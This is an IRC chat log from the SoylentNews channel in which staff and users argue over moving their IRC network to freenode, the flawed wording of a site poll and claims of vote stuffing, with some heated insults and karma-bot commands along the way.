[20:28:02] <nobbis> ^^
[20:28:11] <Hedonismbot> [poutine] I bet if everyone said "SoylentNews IRC is best", there'd be no argument over polling methods
[20:28:14] <xyzzyyxxyx> poutine: I can agree on that at least
[20:28:59] <FoobarBazbot> poutine: just as if everyone said "freenode is best", there'd also be no argument.
[20:29:10] <FatPhil> poutine: Imagine the results being 4% pro-Soylent, 5% pro-freenode, and 91% "don't care". What would you recommend the course of action being?
[20:29:29] <Hedonismbot> [poutine] I'd evaluate sample size, margin of error, and other factors
[20:29:45] <FoobarBazbot> FatPhil: poutine would recommend criticizing us all for being so apathetic. ~
[20:29:46] <Hedonismbot> [poutine] but freenode has almost double the amount of votes as soylent
[20:30:21] <nobbis> don't care <> don't move
[20:30:22] <FatPhil> poutine. 7 billion votes were cast. Your move
[20:30:28] <paulej72> poutine what about the bias in the wording of the questions.
[20:31:07] <Hedonismbot> [poutine] Ok one of you people, just _tell_ me why soylentnews needs an irc network
[20:31:07] <FatPhil> Anyone want an anagram? Poutine's a troll = Total repulsion
[20:31:11] <Hedonismbot> [poutine] really simple
[20:31:24] <xyzzyyxxyx> FatPhil++
[20:31:24] <Hedonismbot> karma - fatphil: 23
[20:32:02] <FatPhil> = satire pollution
[20:32:03] * xyzzyyxxyx notes trolls are generally correct but socially inept in presenting the arguement
[20:33:22] <Hedonismbot> [poutine] amazing how nobody can articulate the need for an IRC network
[20:33:32] <paulej72> poutine I have stated some reasons why we should have our own network. Read you backlog
[20:33:33] <Hedonismbot> [poutine] but everyone is for it
[20:33:53] <FatPhil> we did, you just burried your head in the sand and want "la la la I can't hear you"
[20:34:01] <Hedonismbot> [poutine] It's nearly impossible for me to find it because of this stupid relay bot
[20:34:06] <Hedonismbot> [poutine] can you repeat it? I'm sure it's only 1 line
[20:34:30] <Hedonismbot> [poutine] <SoylentBender> [paulej72] poutine by running our own network we controll the access, the cloack, the channels. we are not beholden to anther group to do it
[20:34:31] <paulej72> poutine by running our own network we controll the access, the cloack, the channels. we are not beholden to anther group to do it
[20:34:32] <Hedonismbot> [poutine] Is that it?
[20:34:44] <Hedonismbot> [poutine] Ok that's a stupid reason, ability to have control != need to have control
[20:34:52] <xyzzyyxxyx> poutine: http://logs.sylnt.us
[20:35:00] <Hedonismbot> [poutine] You could code your own OS from scratch, it won't have the design decisions everything else has
[20:35:02] <FoobarBazbot> poutine: http://logs.sylnt.us
[20:35:15] * xyzzyyxxyx is exhausted at that difficult task
[20:35:38] <paulej72> that is just some of the reasons. There is aslo the small target fro DDOS attacks, less chance of netsplits
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[20:36:14] <Hedonismbot> [poutine] small target? DALnet still gets DDoSed, they have less than 10k users now. Also when you do get DDoSed, you go down, you don't come back up
[20:36:25] <Landon> paulej72: I agree, freenode has had constant netsplittery, which almost outweighs the "Oh no, SN IRC is being ddosed and is down? Let's go back to ##AltSlashdot temporarily"
[20:37:12] <FatPhil> my freaking IRCnet connections split left right and centre every day
[20:37:29] <Hedonismbot> [poutine] It's trivial to DDoS something, I've been DDoSed for comments I've made all the way back to 1998
[20:37:33] <FatPhil> I even split from my own idlerpg sometimes :-
[20:37:34] <FatPhil> (
[20:37:44] <Hedonismbot> [poutine] you will get packeted, it's a fact of life of IRC
[20:38:17] <Landon> right now the chance of that is significantly less than freenode having netsplits
[20:38:38] <Hedonismbot> [poutine] I'd rather not be somewhere where there's a single point of failure, netsplits might be annoying, but you know what's worse than losing 10 people from a temp netsplit? not being able to connect at all
[20:39:41] <FatPhil> poutine: please leave. we'd rather you weren't here either
[20:39:52] <xyzzyyxxyx> poutine: no risk no reward no freedom
[20:39:55] <Hedonismbot> [poutine] Do you speak for all of soylentnews?
[20:40:10] <paulej72> do you poutine
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[20:40:23] <FatPhil> I speak for everyone who's poutine--'ed, I'm sure
[20:40:24] <xyzzyyxxyx> poutine: I think your negative karma speaks loudly enough for anyone
[20:40:34] <FoobarBazbot> !karma-whodown poutine
[20:40:34] <Hedonismbot> downers of poutine are: kobach: -108, crutchy: -27, xlefay: -22, FoobarBazbot_: -17, FatPhil: -13, stderr: -13, andrew: -12, Khyber: -11, mattie_p: -11, mrcoolbp: -10, FoobarBazbot: -9, swiss: -7, drcoolbp: -7, pbnjoe: -6, paulej72: -4, stdhell: -4, amblivious: -3, swisskid: -3, CHALLNGEACCPTD: -2, FunPika: -2, melikamp: -2, MrBluze: -2, mattiep: -2, arti: -2, Barrabas: - 1 more
[20:40:34] <FatPhil> poutine--
[20:40:34] <Hedonismbot> karma - poutine: -306
[20:40:45] <Landon> huh
[20:40:51] <Landon> I guess I've never down'd poutine
[20:41:11] -!- elf [elf!~elf@06h14160.skybroadband.com] has joined #Soylent
[20:41:18] <Landon> !more
[20:41:18] <Hedonismbot> -2, xyzzyyxxyx: -2, dx3bydt3: -2, drgibbon: -2, int: -1, martyb: -1, KhyberLaptop: -1, xyzzyyzzyx: -1, ragequit: -1, hax0rz: -1, MrBluze_: -1, Konomi: -1, mrgirlpluggedout: -1, FuckBeta: -1
[20:41:21] <Hedonismbot> [poutine] I am going to laugh when whoever spent >$2k on SN has it fail because they pissed off the community with this stupid BS
[20:41:36] <FatPhil> !karma-whoup poutine
[20:41:36] <Hedonismbot> uppers of poutine are: andrew: 5, MrBluze_: 1, TheMightyBuzzard: 1, robinld: 1, NCommander: 1, drgibbon: 1, kobach: 1, xlefay: 1
[20:41:46] <Hedonismbot> [poutine] You're not going to attract people who left slashdot due to DICE by acting worse than DICE
[20:41:57] <cmdr_LaminatorX> I don't think it's appropriate to tell him to leave. While I don't care for his tone either, he is genuine in his wish to be helpful.
[20:42:04] <nobbis> agreed
[20:42:29] <Hedonismbot> [Popsikle-Work] so the gist of the last 60 minutes is the poll does not matter because it does not want what the created wants?
[20:42:36] <dx3bydt3> if he was gone wouldn't you miss typing poutine-- ?
[20:42:54] <Hedonismbot> [poutine] Popsikle-Work, Basically, the poll did not go the way they expected, so they're throwing out the results
[20:43:05] <Hedonismbot> [Popsikle-Work] meh
[20:43:19] <Hedonismbot> [Popsikle-Work] no better than dice
[20:43:21] <Hedonismbot> [Popsikle-Work] no better
[20:43:23] <nobbis> thats is how t will look
[20:43:35] <Landon> point: as previous IRC overlord, I'm ok with doing what the poll wants
[20:43:50] <Landon> but we already know that I don't really care about community disruption :)
[20:43:59] <Landon> see: freenode->SNirc split
[20:44:14] <paulej72> Popsikle-Work I think the results of the poll are a bit ambiguous due to poor working an no option with the majority
[20:44:21] <xyzzyyxxyx> Next, on A&E, Poutine's Tough Love Boot Camp
[20:44:31] <xyzzyyxxyx> pauliej72++
[20:44:31] <Hedonismbot> karma - pauliej72: 1
[20:44:32] <cmdr_LaminatorX> I think that the poll was ill conceived and isn't that meaningful in a statistical sense, but that we also probably need to act on it's results as a matter of credability.
[20:44:33] <nobbis> true it was badly worded
[20:44:36] <Landon> are polls required to have 8 answers?
[20:44:48] <Hedonismbot> [Popsikle-Work] http://puu.sh
[20:45:11] <Hedonismbot> [Popsikle-Work] doesnt seem invalid to me
[20:45:18] <paulej72> Landon no, I think this was editorial drift
[20:45:23] <Hedonismbot> [poutine] Landon they did it because slashdot had this stupid tradition of adding ridculous responses to it
[20:45:29] <Hedonismbot> [poutine] "Cell phones, who uses those?"
[20:45:32] <paulej72> No disrepect to the editors
[20:45:58] <xyzzyyxxyx> pauliej72++
[20:45:58] <Hedonismbot> karma - pauliej72: 2
[20:46:07] <paulej72> the poll should have been a simple yes no vote
[20:46:15] <cmdr_LaminatorX> The slashdot silly poll tradidion is fun, but it was a mistake to let it bleed into a serious discussion.
[20:46:23] <nobbis> paulej72: yes
[20:47:07] <paulej72> that is how the poll was worded by the IRC guys when the poropsed it
[20:47:30] <paulej72> a simple yes no
[20:48:00] <Hedonismbot> [Popsikle-Work] why?
[20:48:16] <FatPhil> "there's no need to change" > "please change" - that's what the poll results still say
[20:48:22] <Hedonismbot> [Popsikle-Work] I mean the people who actually care are going to pick yes or no as they stand
[20:48:27] <Hedonismbot> [Popsikle-Work] and everyone else will do soemthign random
[20:48:32] <Hedonismbot> [Popsikle-Work] so having more poll options
[20:48:37] <Hedonismbot> [Popsikle-Work] actually makes it closer to accurate
[20:48:40] <Hedonismbot> [Popsikle-Work] since its wide open
[20:48:44] <Hedonismbot> [poutine] fatPhil, are you really this daft, how are you reading it that way?
[20:49:04] <Landon> FatPhil: is that counting the "uninterested" answer as "no need to change" ?
[20:49:07] <FatPhil> yes
[20:49:08] <Cyprus> you can't arbitrarily add up all the choices against another
[20:49:13] <FatPhil> how else can it be interpreted
[20:49:18] <Hedonismbot> [poutine] lol
[20:49:22] <cmdr_LaminatorX> At this point, we probably need to at least move #Soylent to freenode, out of respect for the results and the credibility of the polling process.
[20:49:22] <paulej72> Popsikle-Work we can't be sure of that because there was bias in the wording of the questions themselves.
[20:49:29] <Cyprus> by that logic you can do the same thing with every combination
[20:49:30] <Landon> that seems a little disingenuous, since the uninterested answers aren't interested either way
[20:49:30] <Hedonismbot> [poutine] FatPhil, I'm glad you're not in charge of anything important
[20:49:32] <FatPhil> unless you think change is zero-cost
[20:49:36] <Landon> and aren't a party that has a horse in the race
[20:49:42] <FatPhil> do you really think change is zero-cost?
[20:49:44] <Hedonismbot> [Popsikle-Work] altslashdot, dice version 2.0
[20:49:55] <Hedonismbot> [Popsikle-Work] at least its only a few weeks in
[20:49:59] <Hedonismbot> [poutine] changing saves resources which saves money FatPhil
[20:50:02] <Landon> change absolutely has cost, but I don't think the cost should be arbitrarily decided by adding answers together
[20:50:04] <Cyprus> change is generally lower cost than "Not Invented Here"
[20:50:16] <cmdr_LaminatorX> Hyperbolic insults are not helpful, Popsikle-Work.
[20:50:22] <FatPhil> Prove "changing saves resources".
[20:50:41] <Hedonismbot> [Popsikle-Work] having a poll and then trying to discount it because the results are unfavorable is helpful?
[20:51:04] <cmdr_LaminatorX> There is no clear "this is best.
[20:51:06] <Hedonismbot> [poutine] FatPhil, ircds require a server, no ircd, no server needed to run it
[20:51:08] <cmdr_LaminatorX> "
[20:51:13] <Hedonismbot> [Popsikle-Work] yea
[20:51:14] <Hedonismbot> [Popsikle-Work] ok
[20:51:23] <Hedonismbot> [Popsikle-Work] yup
[20:51:27] <Hedonismbot> [Popsikle-Work] there is a clear answer
[20:51:39] <Landon> I was interpreting cost of change as "user grumbles" from the however-many on this side
[20:51:40] <FatPhil> poutine: we have a server. we need no more servers for ircd
[20:51:40] <paulej72> Popsikle-Work no vote got the majority
[20:51:46] <Hedonismbot> [Popsikle-Work] I voted for freenode obviously, but was totally expecting all you guys to vote gainst and the vote to fail
[20:51:52] <Hedonismbot> [poutine] FatPhil, the ircd is on the same as the webserver? Are you kidding me?
[20:52:00] <Hedonismbot> [poutine] so one DDoS takes both out?
[20:52:10] <Hedonismbot> [poutine] liability is cost
[20:52:15] <FatPhil> poutine: presently it's not. but have you not noticed _we have a server_.
[20:52:16] <cmdr_LaminatorX> If the poll had an over 50% answer we wouldn't be having this discussion, instead we've got a weak plurality that should be followed in principle, but in practice is going to make things harder for some people, and we're not sure how many.
[20:52:24] <FatPhil> Are you really that stupid?
[20:52:27] <Hedonismbot> [poutine] FatPhil, a server with a cost > 0
[20:52:30] <paulej72> poutine no the irc server a on a seperate system
[20:52:45] <FatPhil> what's its marginal cost though?
[20:52:59] <Hedonismbot> [poutine] Are we factoring in the staff needed to administer it?
[20:53:00] -!- weeds [weeds!~4118a13c@cwz-29-45-637-17.columbus.res.rr.com] has joined #Soylent
[20:53:02] <Hedonismbot> [Popsikle-Work] harder for some people?
[20:53:12] <Hedonismbot> [Popsikle-Work] its free node
[20:53:24] <FatPhil> it's easier to do things on something you control. that's negative cost.
[20:53:25] <Landon> poutine, the staff administering it wouldn't necessarily be doing anything else
[20:53:37] <xyzzyyxxyx> If I am as loud as pouline in saying I'll be blocked, then I jump up and down and scream now.
[20:53:39] <Landon> it's not like we're keeping xlefay from doing urgent dev work
[20:53:39] <FatPhil> and the administrative overhead is tiny
[20:53:49] <cmdr_LaminatorX> Freenode is blocked in some community members workplaces, as well as many public wifi spots.
[20:54:13] <Cyprus> I object to bypassing company security policy as a pro =)
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[20:54:20] <Hedonismbot> [poutine] If freenode is blocked, then they're blocking IRC from their access point, why skirt around the rules simply because they employ a blacklist rather than a whitelist?
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[20:55:00] -!- SayCow0786 has quit [Ping timeout: 246 seconds]
[20:55:04] <xyzzyyxxyx> I'd wager a great deal of IRC on freenode is naughty-talk ( speculation )
[20:55:08] <FatPhil> last place I worked, freenode was whitelisted, everywhere else wasn't!
[20:55:26] <paulej72> Popsikle-Work the staff have been working out of channels on irc.soylentnews.org for two weeks now and we have built up comfort using this system.. Changing now would be a significant cost in relearning a different system
[20:55:35] <Hedonismbot> [AltSlashDICE2p0] There is no Popsikle-Work here
[20:55:43] <nobbis> simply so that more people could enjoy these arguments
[20:55:58] <xyzzyyxxyx> thus it's blocked due to Puritanism
[20:56:24] <Hedonismbot> [AltSlashDICE2p0] paulej72 : I agree, the startup scripts need to change the server address.... its a lot of work, I hear that.
[20:57:04] <Landon> :) funny
[20:57:21] <Cyprus> Hmmm, I think he's making me rethink requiring SSO
[20:57:33] <paulej72> AAltSlashDICE2p0 I am takling a bout learning the commands to run irc that have been specialized for this site. We would need to relearn that. This is a cost that must be concidered
[20:57:51] <Landon> paulej72: fwiw there's not a lot of difference, freenode uses the same services
[20:58:35] <paulej72> Yes I know it is similar, but we have customizations here that we as staff use.
[20:58:44] <Landon> we wouldn't get SSO on freenode, however :( that's a bit of a downer
[20:58:46] <xyzzyyxxyx> no control of logs, channels, no centralization of same
[20:58:51] <Hedonismbot> [poutine] paulej72, ##soylentnews-editors ##soylentnews-dev, etc
[20:58:55] <Hedonismbot> [poutine] it's not that hard
[20:59:00] <Hedonismbot> [poutine] there is no real problem with changing
[20:59:10] <Landon> (and no real problem with staying)
[20:59:21] <Cyprus> ^ agree with both
[20:59:30] <cmdr_LaminatorX> We really need to know how many people would be shut out if we move to freenode. Staff annoyance is not nothing inconsiderable, but shouldn't outweigh the poll.
[20:59:38] <Cyprus> Claiming either direction is difficult is pretty disingenuous
[20:59:48] <cmdr_LaminatorX> Members not being able to acess, however, is a big deal.
[20:59:50] <Hedonismbot> [AltSlashDICE2p0] because you all cared soooo much when you jumped off freenode?
[20:59:59] <Hedonismbot> [poutine] just the fact the community already spoke in favor of changing
[21:00:33] <paulej72> cmdr_LaminatorX i am not saying staff annoance should trump the poll, I saying it should be concidered
[21:00:43] <Landon> AltSlashDICE2p0, our own server does get us that much closer to having SSO, which would be nice with webchat
[21:01:19] <Landon> which amounts to >10% of users in this channel, not sure the exact number
[21:01:21] <xyzzyyxxyx> Landon: so chat could in theory be embedded into the page?
[21:01:30] <Landon> xyzzyyxxyx: something like that
[21:01:36] <xyzzyyxxyx> nifty
[21:01:44] <Landon> maybe not embedded in the page, but easily accessible and no dorking around with nickserv
[21:01:50] <swiss> sounds more like a shoutbox at that point
[21:01:58] <Landon> yep
[21:02:13] <Landon> but, built on IRC, so those with clients can connect that way
[21:02:29] <swiss> poutine--
[21:02:30] <Hedonismbot> karma - poutine: -307
[21:02:38] <xyzzyyxxyx> hi swiss
[21:02:39] -!- SoyBoy3600 has quit [Quit: Web client closed]
[21:02:45] <swiss> xyzzyyxxyx: hi?
[21:03:41] <Hedonismbot> [AltSlashDICE2p0] Ladon : thats a client side thing..... you can do that in javascript before the client talks to the server, so thats kinda a bs reason
[21:04:00] <weeds> Hello, I've been watching a bit and have a couple of questions. Do you mind?
[21:04:05] <xyzzyyxxyx> swiss: you made coherent conversation the last time I was on here under a different name
[21:04:20] <paulej72> weeds no go ahead
[21:04:32] <weeds> Haven't you backed yourself into a corner? If you offered the choice to the community, don't you have to take their recommendation to keep credibility?
[21:04:37] <drussell> Governing by referendum is always frought with peril... Especially when it's not even a real referendum but a simple poll... I see absolutely no problem with saying "Hey, the vote was close, gave us information, which was the point however, since there are several good reasons to keep our own irc server, no real downsides and no real upsides to going back to freenode, we think we should keep our own server operational"
[21:04:41] <drussell> poutine--
[21:04:41] <Hedonismbot> karma - poutine: -308
[21:05:05] <drussell> Nobody said it was a binding vote, FFS... It's a way to get feedback!
[21:05:12] <nobbis> drussell: i think we would lose credibility
[21:05:24] <cmdr_LaminatorX> Interestingly, while we have been talking here, the gap has closed to less than 5%.
[21:05:27] <xyzzyyxxyx> drussell++
[21:05:27] <Hedonismbot> karma - drussell: 1
[21:05:33] <weeds> Then you shouldn't ask
[21:05:58] <xyzzyyxxyx> weeds++
[21:05:58] <Hedonismbot> karma - weeds: 0
[21:06:01] <FatPhil> 65% don't want us to change
[21:06:15] <FatPhil> OK, they don't want anything, but they've spoken
[21:06:21] <swiss> xyzzyyxxyx: which conversation?
[21:06:25] <drussell> Why, because the poll showed there isn't a terribly significant leaning either way so we decide to keep the advantages of having our own server?
[21:06:28] <swiss> the one against hax0rz
[21:06:30] <swiss> ?
[21:06:35] <cmdr_LaminatorX> I don't think counting it that way is appropriate either.
[21:06:48] <Landon> AltSlashDICE2p0: perhaps in a bit of a rube goldberg system
[21:07:03] <Hedonismbot> [poutine] I think it's a bit suspect that the trend for the past few days reverses itself within the last few hours when people are talking about deciding based on it
[21:07:07] <nobbis> it looks like 'the vote didnt go the way we wanted so we'll ignore theresult'
[21:07:23] <paulej72> with only af 5% difference in the two front runners, it is not going to be satisticly significat
[21:07:39] <Hedonismbot> [poutine] There's been nearly 70 votes in the last hour on this
[21:07:40] <nobbis> and if it swaps round do we ignore that result too ?
[21:07:44] <Hedonismbot> [poutine] I'm going to have to call BS on this one
[21:07:47] <cmdr_LaminatorX> Nobody's making sock puppets, poutine.
[21:08:19] <Hedonismbot> [poutine] This poll has been up for days, in the last hour, it has had as many votes for staying on soylentirc, as it has up until this point
[21:08:22] <janrinok> pou The reason for the upsurge is more likely the time of day
[21:08:23] <Hedonismbot> [poutine] that's BS and you know it
[21:08:24] <paulej72> poutine I did not vote on this until just a about an hour ago. It is possible that other did not as well
[21:09:04] <xyzzyyxxyx> swiss: the soldering conversation
[21:09:05] <cmdr_LaminatorX> If it's swinging ecently, it's because we're here on IRC talking about it with the people who most use IRC.
[21:09:12] <nobbis> this needs to be seen to be credible
[21:09:20] <FatPhil> Can I change my joke vote to a real one?
[21:09:21] <paulej72> poutine the poll has only been up for a day
[21:09:31] <cmdr_LaminatorX> That's why I brought it up here in the first place.
[21:09:33] <weeds> Actually it has to be creditable
[21:09:37] <dx3bydt3> poll wasn't up yesterday
[21:09:49] -!- xlefay [xlefay!~xlefay@Soylent/Staff/IRC/xlefay] has joined #Soylent
[21:10:31] <xlefay> 3 diff.. in the poll atm
[21:10:31] <paulej72> poll was posted for 2014-03-11 21:36:08
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[21:10:39] <xlefay> this is all so pointless imo
[21:10:44] <paulej72> this is from the edit page
[21:11:04] * xlefay notes the cake is a lie.
[21:11:20] <weeds> It is certainly reasonable to say the needs of those who will use it most have more weight with a vote so close.
[21:11:56] <nobbis> no all votes are equal
[21:12:07] <xlefay> The wording of the poll is silly. Besides that.. way to much options.
[21:12:12] <cmdr_LaminatorX> It went up "last night" for most of our time zones.
[21:12:22] <Hedonismbot> [poutine] it went up approx 24 hours ago
[21:12:34] <xlefay> nobbis: only if people haven't voted twice or more.. which is always questionable at slashcode.
[21:12:41] <weeds> nobbis: does a single vote one way make the decision?
[21:12:45] <xlefay> approx 24 hours ago? It went up around 3 am my time.. that's 6 hours from now.
[21:12:52] <nobbis> yes
[21:12:53] <xlefay> about*
[21:12:56] <Hedonismbot> [poutine] xlefay, 21:36 is GMT
[21:13:00] <Cyprus> I can vote as many times as I want to with the current implementation
[21:13:01] <Hedonismbot> [poutine] right now it is 20:13 GMT
[21:13:07] <Cyprus> what do we want the poll to show?
[21:13:28] <nobbis> well, if there is cheating it does invalidate things somewhat
[21:13:37] <weeds> nobbis: then we have to go the way the poll goes, end of discussion, right?
[21:13:37] <FatPhil> GIven that it tells you "you have already voted", I presume you can't actually get multiple votes.
[21:13:44] <Cyprus> no, it really doesn't
[21:13:46] <xlefay> FatPhil: ... honestly, it's so trivial
[21:13:49] <Cyprus> it registered multiple votes
[21:13:50] <nobbis> weeds: yes
[21:14:01] <drussell> The poll system should not be used to make any binding decisions. Period.
[21:14:11] <cmdr_LaminatorX> Can AC's vote?
[21:14:14] <weeds> nobbis: that goes back to what I said the first time :)
[21:14:16] <xlefay> think so yea
[21:14:21] <FatPhil> But it did tell me I'd already voted at some point, I'm sure.
[21:14:24] <nobbis> weeds: i agreed with you
[21:14:33] <Cyprus> how does it lock out AC votes?
[21:14:37] <Hedonismbot> [poutine] It's a good thing you guys realized this BEFORE you put up a poll asking for community feedback
[21:14:40] <xyzzyyxxyx> oh my goodness, I think it really did just let me poll-stuff =/
[21:14:51] <Hedonismbot> [poutine] I'm also so glad you would have argued the decision if it was PRO-SNIRC
[21:15:03] <xlefay> .. and now option 1 is #1...
[21:15:27] <FatPhil> If the result was pro-SNC but not a clear majority, then we wouldn't change anything.
[21:15:32] <FatPhil> null hypothesis
[21:15:37] <Hedonismbot> [poutine] If you don't see vote fraud going on rightn ow, you're on crack
[21:15:40] <xlefay> poutine: in all honesty, the entire wording and the entire poll wasn't made as it should've been. The real options were "Yes", "No" .. but, I agree it does seem somewhat twitchy.
[21:16:12] <nobbis> FatPhil: isnt optin 1 not changing anything
[21:16:13] <Hedonismbot> [poutine] This is how soylentnews staff acts when they lose
[21:16:21] <weeds> nobbis: and back to a very important point for SoylenNews going forward: "Governing by referendum is always frought with peril..." - drussell
[21:16:22] <Hedonismbot> [poutine] sore loser babies
[21:16:40] <FatPhil> "I don't care, either work for me" and "I don't care, I don't give a shit about IRC" are both important non-yes/no votes.
[21:16:42] <xlefay> ... really wonder if poutine has eyes.. I'm agreeing with him on it being twitchy.
[21:16:49] <nobbis> weeds: indeed
[21:16:55] <dx3bydt3> poutine--
[21:16:55] <Hedonismbot> karma - poutine: -309
[21:17:03] <drussell> poutine: It WAS to get community feedback, and it worked.... I don't see how this in any way, shape or form should be taken as a binding vote of direction... That's just silly IMHO
[21:17:10] <Cyprus> poutine--
[21:17:10] <Hedonismbot> karma - poutine: -310
[21:17:11] <FatPhil> View it as a 2 dimensional grid.
[21:17:29] <nobbis> but aren't we here for the listeniong to the community aspect ?
[21:17:32] <Hedonismbot> [poutine] Slashdot: You spoke, we listened <- Remember that thread?
[21:17:46] <nobbis> haha
[21:18:03] <Hedonismbot> [poutine] That's what this is
[21:18:21] <weeds> drussell: consider what the voters think and where they are coming from. We have said so much about participation and community run...
[21:18:45] <paulej72> poutine so far the users for and aginst are very similar even if you jsut count who is talking here.
[21:18:50] <FatPhil> trololo
[21:18:50] <Hedonismbot> [poutine] you're that kid that nobody likes playing games with because they'd make up their own rules, and change them to fit their favor
[21:19:14] <Cyprus> I vote to change Hedonismbot's name to Hyperbolebot to improve accuracy
[21:19:22] <xlefay> !nick Hyperbolebot
[21:19:22] <Hedonismbot> changing nick to Hyperbolebot
[21:19:23] <paulej72> poutine you seem to be the same
[21:19:26] <Hedonismbot> done - nick
[21:19:35] <cmdr_LaminatorX> Pleas dial it back from that level of name calling, poutine.
[21:19:36] <xlefay> right Hedonismbot?
[21:19:46] <weeds> nobbiss: Not to be too snotty... When we vote on a name will the vote matter?
[21:19:47] <Hedonismbot> [poutine] except freenode won community favor, up until SN staff decided to throw off the results
[21:20:04] <Hedonismbot> [poutine] weeds it should be expected to be equally corrupt
[21:20:07] <cmdr_LaminatorX> That is also an accusation that is both serious and unfounded.
[21:20:08] <drussell> weeds: Oh, I fully understand and agree that the direction should be chosen by the community. Using slashpolls as binding steering mechanisms is guaranteed to fail, though
[21:20:08] <nobbis> yes
[21:20:12] <FatPhil> I vote for bot's nick to be changed to bile_conduit
[21:20:14] <Hedonismbot> [poutine] Just like when Barrabas decided on soylentnews.org
[21:20:23] <Hedonismbot> [poutine] that was supposed to be voted on as well
[21:20:26] <nobbis> weeds: yes, i want the vote to be respected
[21:20:36] <paulej72> poutine you have no evidence that there was ballot stuffing
[21:20:37] <FatPhil> cheerio dooods, some of us have a life
[21:20:43] -!- FatPhil [FatPhil!~pcarmody@Soylent/Staff/Developer/FatPhil] has parted #Soylent
[21:20:43] <weeds> nobbis: I quoted you once already :)
[21:20:53] <Hedonismbot> [poutine] paulej72, you're retarded if you do not think vote rigging just happened
[21:20:53] <xlefay> !nick Hyperbolebot
[21:20:53] <Hedonismbot> changing nick to Hyperbolebot
[21:20:57] Hedonismbot is now known as Hyperbolebot
[21:20:57] <Hyperbolebot> done - nick
[21:21:07] * Cyprus laughs
[21:21:24] <xlefay> And you poutine, are too, if you think it didn't happen in the first place.
[21:21:30] <Hyperbolebot> [poutine] I do not normally dish out personal attacks, but you have to be literally developmentally challenged to think that vote rigging did not occur
[21:21:36] <cmdr_LaminatorX> I see campaigning, right here in this chat session, but not vote rigging.
[21:22:06] <xyzzyyxxyx> Holds up his sign
[21:22:10] <Hyperbolebot> [poutine] Care to share server logs, you can replace each IP with a unique identifier that does not convey personal information
[21:22:12] <Cyprus> xlefay: Thanks, I'm going to giggle to myself every time I see that
[21:22:22] <xlefay> Cyprus: haha ;)
[21:22:39] <Cyprus> poutine: IP logs aren't very useful, the server has AAAA records
[21:22:42] <cmdr_LaminatorX> Every argument for and against we've been tossing around here is somebosy's get out the vote effort.
[21:22:53] <Hyperbolebot> [poutine] Cyprus, uh, what?
[21:23:08] <Hyperbolebot> [poutine] Someone please tel lme Cyprus is not part of the networking/sysadmin team
[21:23:11] <Cyprus> IPv6, which is not dynamically stable
[21:23:18] <xlefay> heh?
[21:23:40] -!- lentilmania [lentilmania!~1774cad4@37-825-466-421.lightspeed.toldoh.sbcglobal.net] has joined #Soylent
[21:23:49] <Hyperbolebot> [poutine] Cyprus is there a load balancer, proxy, or otherwise between me and the soylentnews webserver?
[21:23:57] <Cyprus> yes: varnish
[21:23:58] <mattie_p> poutine, Cyprus is not part of the network team.
[21:24:00] <Cyprus> and no im not part of the team
[21:24:22] <xyzzyyxxyx> mattie_p speaks!
[21:24:38] <cmdr_LaminatorX> 1 vote spread, atm.
[21:24:46] <mattie_p> yes, I'm alive, but not for longh
[21:24:52] <dx3bydt3> I didn't have an opinion before seeing the discussion, now I've voted for to keep the IRC of our own.
[21:24:57] <mattie_p> just popping to check on things before I bounce
[21:25:01] <Hyperbolebot> [poutine] Ok varnish would not be involved as this is a POST request
[21:25:28] <Hyperbolebot> [poutine] also varnish inserts a x-forwarded-for for the IP
[21:25:32] <Hyperbolebot> [poutine] client ip
[21:25:38] <weeds> If polls are susceptible to vote rigging, then they certainly can't be used for determining direction or policy of any issue. (No matter that it's a problematic strategy to begin with.)
[21:26:21] <nobbis> weeds: agreed this is looking more like N Korea all the time
[21:26:33] <xyzzyyxxyx> any vote not marked by purple fingers is susceptible to rigging
[21:26:47] <Cyprus> xyzz: purple fingers?
[21:26:48] <cmdr_LaminatorX> Whether we make IRC changes or not, I'm glad we're digging into the poll's viability as a tool before we use it for something really serious.
[21:27:01] <Hyperbolebot> [poutine] Cyprus it's a joke about iraqi elections I'd guess?
[21:27:06] <nobbis> are there alternatives ?
[21:27:25] <Hyperbolebot> [poutine] where they prominently marketed the fact iraq was democratic by showing warn torn citizens showing their ink spotted fingers like they could now make a difference
[21:27:34] <paulej72> the polls all say that at the bottom
[21:27:36] <weeds> (after everyone votes their fingers are marked) +1 Informative
[21:27:46] Cyprus is now known as Cyprus_afk
[21:27:48] <xyzzyyxxyx> Cyprus: the 2005 Iraqi Parliamentary elections, yes
[21:27:51] <paulej72> "This whole thing is wildly inaccurate. Rounding errors, ballot stuffers, dynamic IPs, firewalls. If you're using these numbers to do anything important, you're insane."
[21:28:11] <xyzzyyxxyx> poutine: was not a joke, was serious
[21:28:42] <dx3bydt3> can the polls be closed to ACs on serious issues?
[21:29:18] <Hyperbolebot> [poutine] It's clear staff will alter poll results to match their bias dx3bydt3, they should not be relied upon at all
[21:29:20] <drussell> dx3bydt3: I hadn't voted either because I had no real opinion but now see several advantages to having a private server, so I voted now...
[21:29:22] <weeds> Doesn't sound like the polls should be used for serious issues at all. Just for fun.
[21:30:05] <drussell> weeds: No, of course not... Exactly...
[21:30:30] <nobbis> so what do we use ?
[21:30:45] <xyzzyyxxyx> draw straws
[21:31:15] <Hyperbolebot> [poutine] I'm not even upset because I know that first DDoS will happen and you guys will realize really quick that DDoS mitigation is no easy task, and that there's a reason many companies/groups use freenode for their projects
[21:31:37] <weeds> If your are going to run the "business" on public opinion, you better have a good way to poll the population.
[21:32:08] <weeds> ...purple fingers, voter registration, this isn't a new problem.
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[21:33:05] <xyzzyyxxyx> weeds: all this has happened before and will happen again
[21:33:08] <paulej72> I would like to point out unile Dice we have actually tied to show you our point of view and why we think the way we do. We have seriously taken into conceration your points and have tried to comment on each one. We are trying to have a conversation not just present you with stuff.
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[21:34:09] <weeds> +paulej72: All true and part of why we are here.
[21:34:39] <cmdr_LaminatorX> We need to use a more mature poll solution for the name question, that's for damn sure.
[21:34:56] <drussell> Most definitely
[21:35:05] <xlefay> I vote dailybacon and port119.net in advanced, thank you.
[21:35:55] <nobbis> vote early vote often
[21:36:00] <xlefay> !grab nobbis
[21:36:00] <Hyperbolebot> Added quote 25
[21:36:01] <xlefay> ;)
[21:36:12] <weeds> The problem is that if you offer the population a vote, then they expect action on the vote - No matter how you qualify it.
[21:36:53] <Hyperbolebot> [poutine] Do you guys wonder why your IRC server needs to be running a world accessible DNS server, FTP server, MySQL instance, PostgreSQL instance, etc?
[21:37:03] <xyzzyyxxyx> Kim Jung-un got 100% of the vote, it seems
[21:37:04] <drussell> A name vote really needs a ranking system type vote to get a sense of what people really feel about various names
[21:37:20] <Hyperbolebot> [poutine] and it's hosted in germany
